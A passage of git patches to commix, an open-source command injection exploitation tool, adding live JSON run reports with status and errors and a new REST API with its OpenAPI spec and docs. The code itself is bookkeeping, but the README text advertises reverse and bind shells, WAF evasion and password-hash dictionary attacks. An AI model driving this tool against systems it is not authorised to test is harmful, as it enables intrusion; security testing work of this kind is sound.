write_report(status=None): + if not menu.options.report_json: return + if not report_active(): + # Over before the first target was opened. A reader that was promised a file is handed one + # saying so, rather than an absence it has to read as either "nothing found" or "never ran". + settings.REPORT_JSON = { + "target": menu.options.url or "", + "started": settings.REPORT_STARTED, + } + settings.REPORT_JSON["status"] = status or settings.REPORT_STATUS_COMPLETED settings.REPORT_JSON["finished"] = str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S") settings.REPORT_JSON["requests"] = settings.TOTAL_OF_REQUESTS settings.REPORT_JSON["target_os"] = settings.TARGET_OS.title() @@ -354,8 +417,7 @@ def write_report(): settings.REPORT_JSON["waf_detected"] = settings.WAF_ENABLED settings.REPORT_JSON["evasion_applied"] = settings.WAF_EVASION_APPLIED or menu.options.tamper or "" try: - with open(menu.options.report_json, 'w', encoding=settings.DEFAULT_CODEC) as output_file: - json.dump(settings.REPORT_JSON, output_file, indent=2, ensure_ascii=False) + _write_report_file() info_msg = "Run results stored to the JSON file '" + menu.options.report_json + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) except IOError as err_msg: diff --git a/src/utils/settings.py b/src/utils/settings.py index 5a62cdc939..7f6cef979a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "216" +REVISION = "217" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -938,6 +938,16 @@ def single_whitespace_for(data=None): LAST_LOGGED_PARAMETER = None # The accumulating --report-json data, built only when that option is set. REPORT_JSON = None + +""" +What became of the run a JSON report belongs to, so that a reader can tell a scan still going, and +one cut short, from one that simply found nothing. +""" +REPORT_STARTED = "" +REPORT_STATUS_RUNNING = "running" +REPORT_STATUS_COMPLETED = "completed" +REPORT_STATUS_TIME_LIMIT = "time-limit" +REPORT_STATUS_TERMINATED = "terminated" LAST_LOG_GROUP = "header" # Said once per target, so a token carried on every request is not announced on every one of them. From 806ab17ef4c05d8e57e64e220ab5f32fd42b1787 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 14 Oct 2026 06:29:56 +0300 Subject: [PATCH 0889/1023] The `--report-json` report is now written as the run goes, carrying its status and any errors, whatever ends the run --- commix.py | 5 +++++ src/core/controller/checks.py | 2 ++ src/core/controller/injector.py | 2 ++ src/utils/logs.py | 14 ++++++++++++++ src/utils/settings.py | 28 +++++++++++++++++++++++++++- 5 files changed, 50 insertions(+), 1 deletion(-) diff --git a/commix.py b/commix.py index 52e753b46b..5de5875217 100755 --- a/commix.py +++ b/commix.py @@ -39,6 +39,8 @@ def main(): # Raised as it was given: a caller that reads the exit code is told whether the run ended the # way it meant to, and a bare one is zero as it always was. import sys + from src.utils import logs + logs.finalize_report(err_msg.code) raise SystemExit(err_msg.code) except KeyboardInterrupt: import sys @@ -49,6 +51,9 @@ def main(): raise SystemExit() except: from src.utils import common + from src.utils import logs + from src.utils import settings + logs.finalize_report(settings.EXIT_FAILURE) common.unhandled_exception() # eof \ No newline at end of file diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index d67d0bf753..1598a975d3 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -73,6 +73,8 @@ def exit(code=0): if settings.VERBOSITY_LEVEL != 0: settings.print_data_to_stdout(settings.execution("Ending")) + # Nothing runs after the line below, so the report is settled before it. + logs.finalize_report(code if isinstance(code, int) else 0) os._exit(code if isinstance(code, int) else 0) """ diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index de6a2b0d4c..1372214e6e 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -27,6 +27,7 @@ _THREADS_SUPPORTED = False from src.core.parse import cmdline as menu from src.utils import settings +from src.utils import logs from src.utils import progress from src.core.requests import requests from src.core.requests import stability @@ -42,6 +43,7 @@ """ def _abort_executor(executor, exc): executor.shutdown(wait=False, cancel_futures=True) + logs.finalize_report(exc.code if isinstance(exc.code, int) else 0) os._exit(exc.code if isinstance(exc.code, int) else 0) """ diff --git a/src/utils/logs.py b/src/utils/logs.py index 46950e528f..5a6c50a617 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -207,6 +207,20 @@ def _write_report_file(): os.unlink(path) raise +""" +Settle a report that is still saying the run is going, whatever ended it. + +A run cut short by a critical error never reaches the lines that close one down, so the report it +leaves behind would otherwise claim forever to be in progress - and something reading it would +wait for an ending that has already happened. +""" +def finalize_report(exit_code): + if not report_active(): + return + if settings.REPORT_JSON.get("status") != settings.REPORT_STATUS_RUNNING: + return + write_report(settings.REPORT_STATUS_COMPLETED if not exit_code else settings.REPORT_STATUS_FAILED) + """ Open the report as the run begins, so that a reader is never left telling "not started yet" apart from "never asked for" by the absence of a file. diff --git a/src/utils/settings.py b/src/utils/settings.py index 7f6cef979a..dc13a17020 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -122,20 +122,45 @@ def print_legal_disclaimer_msg(legal_disclaimer_msg): result = LEGAL_DISCLAIMER + str(legal_disclaimer_msg) + Style.RESET_ALL return result +""" +Keep what went wrong where a reader of the JSON report will find it. + +A run that could not reach its target and a run that reached it and found nothing both end with no +findings - what tells them apart is what went wrong on the way, so it is kept rather than only +printed. Warnings are left out: most of them are a test saying what it ruled out, which is the run +working rather than failing. +""" +def record_issue(level, message): + if REPORT_JSON is None: + return + REPORT_JSON.setdefault("errors", []).append({ + "time": datetime.now().strftime("%H:%M:%S"), + "level": level, + "message": strip_ansi_codes(str(message)).rstrip(), + }) + # Imported here, where it is used: logs reads this module on the way in, and reading it back at + # the top would be the two of them waiting on each other. + from src.utils import logs + logs.flush_report() + # Print error message def print_error_msg(err_msg): + record_issue("error", err_msg) return _format_msg(ERROR_SIGN, err_msg) # Print error message def print_bold_error_msg(err_msg): + record_issue("error", err_msg) return _format_msg(ERROR_BOLD_SIGN, err_msg, bold=True) # Print critical error message def print_critical_msg(err_msg): + record_issue("critical", err_msg) return _format_msg(CRITICAL_SIGN, err_msg) # Print abortion message def print_abort_msg(abort_msg): + record_issue("abort", abort_msg) return _format_msg(ABORTION_SIGN, abort_msg) # Print warning message @@ -405,7 +430,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "217" +REVISION = "218" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -948,6 +973,7 @@ def single_whitespace_for(data=None): REPORT_STATUS_COMPLETED = "completed" REPORT_STATUS_TIME_LIMIT = "time-limit" REPORT_STATUS_TERMINATED = "terminated" +REPORT_STATUS_FAILED = "failed" LAST_LOG_GROUP = "header" # Said once per target, so a token carried on every request is not announced on every one of them. From 9f1a9a1c090b970d92636759708f0cfde92d0607 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 15 Oct 2026 08:27:50 +0300 Subject: [PATCH 0890/1023] Added new `commixapi.py` for driving runs over a REST API, as a server or a client, each scan a task of its own with its options, status, results and log. --- README.md | 2 +- commix.py | 25 +- commixapi.py | 26 + commixapi.yaml | 477 +++++++++++++ doc/ARCHITECTURE.md | 28 +- doc/CHANGELOG.md | 1 + doc/translations/README-es-ES.md | 2 +- doc/translations/README-fa-FA.md | 2 +- doc/translations/README-fr-FR.md | 2 +- doc/translations/README-gr-GR.md | 2 +- doc/translations/README-idn-IDN.md | 2 +- doc/translations/README-tr-TR.md | 2 +- setup.py | 3 +- src/core/controller/checks.py | 7 + src/core/controller/controller.py | 4 +- src/core/controller/handler.py | 2 +- src/core/main.py | 26 + .../techniques/tempfile_based/tfb_handler.py | 6 +- src/utils/api.py | 662 ++++++++++++++++++ src/utils/logs.py | 29 +- src/utils/settings.py | 15 +- 21 files changed, 1283 insertions(+), 42 deletions(-) create mode 100644 commixapi.py create mode 100644 commixapi.yaml create mode 100644 src/utils/api.py diff --git a/README.md b/README.md index 180cf4fe21..cd1226a216 100644 --- a/README.md +++ b/README.md @@ -40,7 +40,7 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c * **From proof to shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), built-in `reverse_tcp` and `bind_tcp` upgradeable to a full PTY, file transfer, Windows registry read/write, and enumeration through to password hashes with a dictionary attack offered against them. * **Filter and WAF evasion** - combinable tamper scripts, applied in a deterministic order - see [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). * **Targets in any shape** - a URL, a crawl, HTML forms, a sitemap, an OpenAPI (Swagger) description, a proxy log, a bulk file, a raw HTTP request, or piped `stdin` - see [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). -* **Resumable and scriptable** - [per-target session files](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), JSON/CSV/HAR output, reusable option profiles, and `--proof`, which re-proves any finding with an experiment of its own. +* **Resumable and scriptable** - [per-target session files](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), JSON/CSV/HAR output, reusable option profiles, `--proof`, which re-proves any finding with an experiment of its own, and a [REST API](https://github.com/commixproject/commix/wiki/API) for driving scans from somewhere else. * **Unix-like and Windows** - PHP, Python, Perl, Ruby, ASP.NET, JSP and CGI back ends - see [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) for how the payloads differ. ## Installation diff --git a/commix.py b/commix.py index 5de5875217..6c47220054 100755 --- a/commix.py +++ b/commix.py @@ -29,31 +29,10 @@ # Main def main(): import src.core.main - src.core.main.run() + src.core.main.entry_point() # Main if __name__ == '__main__': - try: - main() - except SystemExit as err_msg: - # Raised as it was given: a caller that reads the exit code is told whether the run ended the - # way it meant to, and a bare one is zero as it always was. - import sys - from src.utils import logs - logs.finalize_report(err_msg.code) - raise SystemExit(err_msg.code) - except KeyboardInterrupt: - import sys - raise SystemExit() - except IndentationError as err_msg: - from src.utils import settings - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - except: - from src.utils import common - from src.utils import logs - from src.utils import settings - logs.finalize_report(settings.EXIT_FAILURE) - common.unhandled_exception() + main() # eof \ No newline at end of file diff --git a/commixapi.py b/commixapi.py new file mode 100644 index 0000000000..f232b3bb78 --- /dev/null +++ b/commixapi.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import sys + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +from src.utils import api + +if __name__ == "__main__": + api.entry_point() + +# eof diff --git a/commixapi.yaml b/commixapi.yaml new file mode 100644 index 0000000000..0337d7bba8 --- /dev/null +++ b/commixapi.yaml @@ -0,0 +1,477 @@ +openapi: 3.0.3 +info: + title: commix REST API + version: "1.0" + description: | + The API served by `commixapi.py`, implemented in `src/utils/api.py`. + + A scan is a task: created, given options under the names the command line knows them by, + started, then read while it runs and after it ends. Each task is run as a process of its own, + started from a configuration file - the same file `-c` loads. + + Notes for implementers: + * Options are the destinations of commix's own command-line options, with `-` read as `_`: + `url` is `--url`, `flush_session` is `--flush-session`. A name the parser does not know is + refused rather than kept. + * `report_json`, `output_dir` and `batch` are settled by the server and cannot be set. + * Something the server understood but would not do answers `200` with `success: false` and a + `message`. Only authentication (`401`), an address that is not served (`404`), one asked for + with the wrong method (`405`) and an unhandled failure (`500`) answer with a code of their + own. + * `/scan/{taskid}/data` hands back the `--report-json` file the run is writing, so a run + started from a command line and one started here cannot answer differently. + license: + name: GNU General Public License v3 (GPLv3) + url: https://github.com/commixproject/commix/blob/master/LICENSE.txt + contact: + name: commix project + url: https://commixproject.com +externalDocs: + description: The API, in the user's manual + url: https://github.com/commixproject/commix/wiki/API +servers: + - url: http://127.0.0.1:8775 + description: A local commixapi.py server +security: + - apiToken: [] +tags: + - name: Version + description: What the server is + - name: Tasks + description: Making and forgetting tasks + - name: Options + description: Reading and settling a task's options + - name: Scans + description: Running a task, and reading it while it runs + - name: Admin + description: Every task at once + +paths: + /version: + get: + tags: [Version] + operationId: getVersion + summary: commix's version, and this contract's + description: >- + The one address that is served without a token, so that a client can find out what it is + talking to before it authenticates. `api` is counted apart from `version`, so a client can + tell whether it still knows how to talk to a newer commix. + security: [] + responses: + "200": + description: The versions. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + version: { type: string, example: "v4.2.dev219" } + api: { type: string, example: "1.0" } + + /task/new: + get: + tags: [Tasks] + operationId: newTask + summary: Make a task + responses: + "200": + description: The task's id. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + taskid: { type: string, example: "93c54d9323c4dcba" } + "401": { $ref: "#/components/responses/Unauthorized" } + + /task/{taskid}/delete: + get: + tags: [Tasks] + operationId: deleteTask + summary: Forget a task, ending its scan if one is running + description: >- + What the task produced is left on disk; it is the task that is forgotten, not its output. + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + responses: + "200": { $ref: "#/components/responses/Plain" } + "401": { $ref: "#/components/responses/Unauthorized" } + + /option/{taskid}/list: + get: + tags: [Options] + operationId: listOptions + summary: Every option of a task, with what it is set to + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + responses: + "200": + description: The options. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + options: + type: object + additionalProperties: true + "401": { $ref: "#/components/responses/Unauthorized" } + + /option/{taskid}/get: + post: + tags: [Options] + operationId: getOption + summary: One option, by name + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + requestBody: + required: true + content: + application/json: + schema: + type: object + required: [option] + properties: + option: { type: string, example: "url" } + responses: + "200": + description: The option, under its own name. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + additionalProperties: true + "401": { $ref: "#/components/responses/Unauthorized" } + + /option/{taskid}/set: + post: + tags: [Options] + operationId: setOptions + summary: Set options on a task + description: >- + Every option in the body is settled, in the order given. A name the parser does not know + ends the request, and the ones before it stay set. + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/Options" + responses: + "200": { $ref: "#/components/responses/Plain" } + "401": { $ref: "#/components/responses/Unauthorized" } + + /scan/{taskid}/start: + post: + tags: [Scans] + operationId: startScan + summary: Start the task's scan + description: >- + Options in the body are settled first, which makes a scan two requests rather than three. + One of `url`, `logfile`, `bulkfile`, `requestfile`, `sitemap_url` or `openapi` has to be set + by then, and a scan already running is not started again. + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + requestBody: + required: false + content: + application/json: + schema: + $ref: "#/components/schemas/Options" + responses: + "200": + description: The process the scan is running as. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + engineid: { type: integer, example: 45671 } + "401": { $ref: "#/components/responses/Unauthorized" } + + /scan/{taskid}/stop: + get: + tags: [Scans] + operationId: stopScan + summary: Ask the scan to stop + description: >- + The run is asked to end and finishes its report first, so what it found up to then is kept. + Worth preferring to `/kill`, which does not. + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + responses: + "200": + description: Whether there was a running scan to stop. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + stopped: { type: boolean } + "401": { $ref: "#/components/responses/Unauthorized" } + + /scan/{taskid}/kill: + get: + tags: [Scans] + operationId: killScan + summary: End the scan's process outright + description: >- + The process is given no chance to write anything further, so its report stops where it was. + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + responses: + "200": + description: Whether there was a running scan to kill. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + killed: { type: boolean } + "401": { $ref: "#/components/responses/Unauthorized" } + + /scan/{taskid}/status: + get: + tags: [Scans] + operationId: scanStatus + summary: Where the run has got to + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + responses: + "200": + description: The status, and the code the process ended on where it has ended. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + status: + type: string + enum: [not started, running, completed, time-limit, terminated, failed, killed] + returncode: + type: integer + nullable: true + "401": { $ref: "#/components/responses/Unauthorized" } + + /scan/{taskid}/data: + get: + tags: [Scans] + operationId: scanData + summary: The run's results, as they stand + description: >- + Readable throughout: the report is written as the run goes, so findings appear as they are + confirmed. `error` is what went wrong, which is what tells a run that could not reach its + target from one that reached it and found nothing - both end with no findings. + parameters: [ { $ref: "#/components/parameters/TaskId" } ] + responses: + "200": + description: The report. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + data: { $ref: "#/components/schemas/Report" } + error: + type: array + items: { $ref: "#/components/schemas/Issue" } + "401": { $ref: "#/components/responses/Unauthorized" } + + /scan/{taskid}/log: + get: + tags: [Scans] + operationId: scanLog + summary: What the run has said + parameters: + - { $ref: "#/components/parameters/TaskId" } + - name: start + in: query + required: false + schema: { type: integer } + description: First line to hand back. + - name: end + in: query + required: false + schema: { type: integer } + description: Line to stop before. + responses: + "200": + description: The lines. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + log: + type: array + items: { $ref: "#/components/schemas/LogLine" } + "401": { $ref: "#/components/responses/Unauthorized" } + + /admin/list: + get: + tags: [Admin] + operationId: listTasks + summary: Every task this server holds + responses: + "200": + description: The tasks, by id. + content: + application/json: + schema: + allOf: + - $ref: "#/components/schemas/Success" + - type: object + properties: + count: { type: integer } + tasks: + type: object + additionalProperties: + type: object + properties: + status: { type: string } + returncode: { type: integer, nullable: true } + "401": { $ref: "#/components/responses/Unauthorized" } + + /admin/flush: + get: + tags: [Admin] + operationId: flushTasks + summary: Forget every task, ending any scan still running + responses: + "200": { $ref: "#/components/responses/Plain" } + "401": { $ref: "#/components/responses/Unauthorized" } + +components: + securitySchemes: + apiToken: + type: apiKey + in: header + name: X-Api-Token + description: >- + The token the server was started with, or the one it made up and printed as it started. + + parameters: + TaskId: + name: taskid + in: path + required: true + schema: + type: string + pattern: "^[0-9a-f]+$" + description: The id `/task/new` handed back. + + responses: + Plain: + description: Whether what was asked for happened. + content: + application/json: + schema: + oneOf: + - $ref: "#/components/schemas/Success" + - $ref: "#/components/schemas/Failure" + Unauthorized: + description: The token was wrong or missing. + content: + application/json: + schema: + $ref: "#/components/schemas/Failure" + + schemas: + Success: + type: object + required: [success] + properties: + success: + type: boolean + enum: [true] + Failure: + type: object + required: [success, message] + properties: + success: + type: boolean + enum: [false] + message: + type: string + example: "Unknown option 'nosuchthing'." + Options: + type: object + description: >- + Options by the destinations of commix's own command-line options, with `-` read as `_`. + additionalProperties: true + example: + url: "http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" + flush_session: true + time_limit: 90 + Report: + type: object + description: >- + The `--report-json` report, as it stands. A run over a single target is the object below. + A run over several - `bulkfile`, `logfile`, `sitemap_url` or a crawl - carries one such + object per target under `targets`, with `started`, `status`, `finished` and `requests` for + the run as a whole. + properties: + targets: + type: array + description: Present only where the run covered more than one target. + items: + type: object + target: { type: string } + http_method: { type: string } + command: { type: string } + started: { type: string } + finished: { type: string } + status: + type: string + enum: [running, completed, time-limit, terminated, failed] + requests: { type: integer } + target_os: { type: string } + waf_detected: { type: boolean } + evasion_applied: { type: string } + findings: + type: array + items: { $ref: "#/components/schemas/Finding" } + errors: + type: array + items: { $ref: "#/components/schemas/Issue" } + Finding: + type: object + properties: + parameter: { type: string, example: "addr" } + http_method: { type: string, example: "GET" } + technique: { type: string, example: "Results-based" } + type: { type: string, example: "Classic command injection" } + boundary: { type: string, example: "';' separator, ' ' whitespace" } + payload: { type: string } + reproduce: + type: string + description: The single request that brings the finding back. + reproduce_caveats: { type: string } + Issue: + type: object + properties: + time: { type: string, example: "08:12:05" } + level: + type: string + enum: [error, critical, abort] + message: { type: string } + LogLine: + type: object + properties: + time: { type: string, example: "08:12:01" } + level: { type: string, example: "info" } + message: { type: string, example: "Testing connection to the target URL." } diff --git a/doc/ARCHITECTURE.md b/doc/ARCHITECTURE.md index e82da4adaa..299c041eb8 100644 --- a/doc/ARCHITECTURE.md +++ b/doc/ARCHITECTURE.md @@ -184,7 +184,30 @@ it, `--ignore-session` leaves it in place and ignores it. **On disk**: `.output/<host>_<port>/` (`settings.OUTPUT_DIR`), with `logs.py` writing the run's own log, `--report-json` and `--results-file`; `-t` writing the HTTP traffic from `headers.py`, and -`--har` writing it through `src/utils/har.py`. +`--har` writing it through `src/utils/har.py`. The JSON report is rewritten whenever it grows, and +renamed into place rather than written in, so that something watching it never reads it halfway +through a rewrite. + +## Driving it from somewhere else + +`commixapi.py` serves a REST API over `src/utils/api.py`, in which a scan is a **task**: created, +given options under the names the command line knows them by, started, then read while it runs and +after it ends. `Task` holds one, `Store` holds them all, and `ROUTES` maps an address to the method +that answers it. + +A task runs commix as a process of its own, started from a configuration file written with +`parse/configfile.py: save()` - the same file `-c` loads. It has to be a process: a run is settled +in module-level state written once and read everywhere, so two of them inside one would be one run +with two sets of answers. + +The API reads nothing of its own. `/scan/<id>/data` hands back the `--report-json` file the run is +writing, which is why a run started from a command line and one started over HTTP cannot answer +differently; `/scan/<id>/log` parses what the process printed. The report carries a `status` from +the moment it is opened, and `logs.py: finalize_report()` settles it at every way out - including +the two that never unwind, `--time-limit`'s alarm and `checks.exit()`. + +`api` in `/version` is the version of the contract, counted apart from commix's own, so a client +can tell whether it still knows how to talk to a newer one. ## Where things live @@ -200,7 +223,7 @@ log, `--report-json` and `--results-file`; `-t` writing the HTTP traffic from `h | `src/core/shells/` | interactive shells and the TCP handlers | | `src/core/modules/` | injection that needs no ordinary parameter | | `src/tamper/` | payload-rewriting scripts | -| `src/utils/` | settings, session, logs, crawler, progress, install, update | +| `src/utils/` | settings, session, logs, crawler, progress, install, update, the REST API | | `src/thirdparty/` | bundled libraries, so that a run needs nothing installed | | `data/txt/` | word lists read at runtime | @@ -222,6 +245,7 @@ and docstring is one line. | a language for `--eval` | a module in `core/eval/grammars/` | | a body format | `parameters.configure_post_data_format()` and `split_post_parameters()` | | a module | the `MODULES` map in `core/modules/modules_handler.py`, and `settings.MODULES` | +| an API address | `ROUTES` in `utils/api.py`, then the method of the same name on `Api` | And when something is already wrong: the wire is `requests/headers.py`, whether a parameter was tested at all is `controller.py: perform_checks()`, whether a finding was believed is `checks.py`, diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 24d32cae57..819d554f94 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New `commixapi.py` for driving runs over a REST API, as a server or a client, each scan a task of its own with its options, status, results and log. * Added: New option `-z` for naming options by as much of their name as tells them apart (e.g. `-z "flu,bat,tec=rt"`). * Added: New switch `--dependencies` for reporting which of the third-party libraries and tools each option needs are installed on this host. * Added: Support for reaching the out-of-band server through the `--oob-transport` clients `php`, `ruby` and `openssl`. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 65d33db935..9c1317eb13 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -41,7 +41,7 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi * **De la prueba a la shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), los modos integrados `reverse_tcp` y `bind_tcp` ampliables a una PTY completa, transferencia de archivos, lectura y escritura del registro de Windows, y enumeración hasta los hashes de contraseñas, con un ataque de diccionario ofrecido contra ellos. * **Evasión de filtros y WAF** - scripts de manipulación (tamper) combinables, aplicados en un orden determinista - consulte [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). * **Objetivos de cualquier forma** - una URL, un rastreo del sitio, formularios HTML, un sitemap, una descripción OpenAPI (Swagger), un registro de proxy, un archivo con varios objetivos, una petición HTTP en bruto o entrada por `stdin` - consulte [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). -* **Reanudable y automatizable** - [archivos de sesión por objetivo](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), salida JSON/CSV/HAR, perfiles de opciones reutilizables y `--proof`, que vuelve a demostrar cualquier hallazgo con un experimento propio. +* **Reanudable y automatizable** - [archivos de sesión por objetivo](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), salida JSON/CSV/HAR, perfiles de opciones reutilizables, `--proof`, que vuelve a demostrar cualquier hallazgo con un experimento propio, y una [API REST](https://github.com/commixproject/commix/wiki/API) para lanzar análisis desde otro sitio. * **Tipo Unix y Windows** - back-ends PHP, Python, Perl, Ruby, ASP.NET, JSP y CGI - consulte [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) para ver en qué se diferencian las cargas útiles. diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index b83df8192c..5436d22cce 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -40,7 +40,7 @@ * **از اثبات تا پوسته** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells)، حالت‌های داخلی `reverse_tcp` و `bind_tcp` با ارتقا به یک PTY کامل، انتقال فایل، خواندن و نوشتن رجیستری ویندوز، و شمارش تا درهم‌سازی گذرواژه‌ها، با پیشنهاد حمله دیکشنری علیه آن‌ها. * **دور زدن فیلترها و WAF** - اسکریپت‌های tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند - [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples) را ببینید. * **هدف در هر شکلی** - یک URL، پویش سایت، فرم‌های HTML، sitemap، توصیف OpenAPI (Swagger)، گزارش پروکسی، فایل چندهدفی، درخواست خام HTTP یا ورودی `stdin` - [target options](https://github.com/commixproject/commix/wiki/Usage#target-options) را ببینید. -* **قابل ازسرگیری و اسکریپت‌پذیر** - [فایل‌های نشست به تفکیک هدف](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data)، خروجی JSON/CSV/HAR، نمایه‌های گزینه قابل استفاده مجدد، و `--proof` که هر یافته را با آزمایشی از آنِ خود دوباره اثبات می‌کند. +* **قابل ازسرگیری و اسکریپت‌پذیر** - [فایل‌های نشست به تفکیک هدف](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data)، خروجی JSON/CSV/HAR، نمایه‌های گزینه قابل استفاده مجدد، `--proof` که هر یافته را با آزمایشی از آنِ خود دوباره اثبات می‌کند، و یک [REST API](https://github.com/commixproject/commix/wiki/API) برای اجرای اسکن از جایی دیگر. * **شبه‌یونیکس و ویندوز** - بک‌اندهای PHP، Python، Perl، Ruby، ASP.NET، JSP و CGI - برای تفاوت بارها [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) را ببینید. diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 7156923fab..523a77eaa4 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -41,7 +41,7 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co * **De la preuve au shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), les modes intégrés `reverse_tcp` et `bind_tcp` promouvables en PTY complet, le transfert de fichiers, la lecture et l'écriture du registre Windows, et l'énumération jusqu'aux empreintes de mots de passe, avec une attaque par dictionnaire proposée contre elles. * **Contournement des filtres et des WAF** - scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe - voir [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). * **Des cibles sous toutes les formes** - une URL, une exploration du site, des formulaires HTML, un sitemap, une description OpenAPI (Swagger), un journal de proxy, un fichier de cibles multiples, une requête HTTP brute ou une entrée `stdin` - voir [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). -* **Reprenable et scriptable** - [fichiers de session par cible](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), sortie JSON/CSV/HAR, profils d'options réutilisables et `--proof`, qui prouve à nouveau chaque découverte par une expérience qui lui est propre. +* **Reprenable et scriptable** - [fichiers de session par cible](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), sortie JSON/CSV/HAR, profils d'options réutilisables, `--proof`, qui prouve à nouveau chaque découverte par une expérience qui lui est propre, et une [API REST](https://github.com/commixproject/commix/wiki/API) pour lancer des analyses depuis ailleurs. * **Type Unix et Windows** - back-ends PHP, Python, Perl, Ruby, ASP.NET, JSP et CGI - voir [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) pour la façon dont les charges utiles diffèrent. diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index b587dbd12d..9274f125bb 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -40,7 +40,7 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] * **Από την απόδειξη στο shell** – [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), ενσωματωμένα `reverse_tcp` και `bind_tcp` με αναβάθμιση σε πλήρες PTY, μεταφορά αρχείων, read/write στο Windows registry και enumeration μέχρι τα password hashes, με dictionary attack να 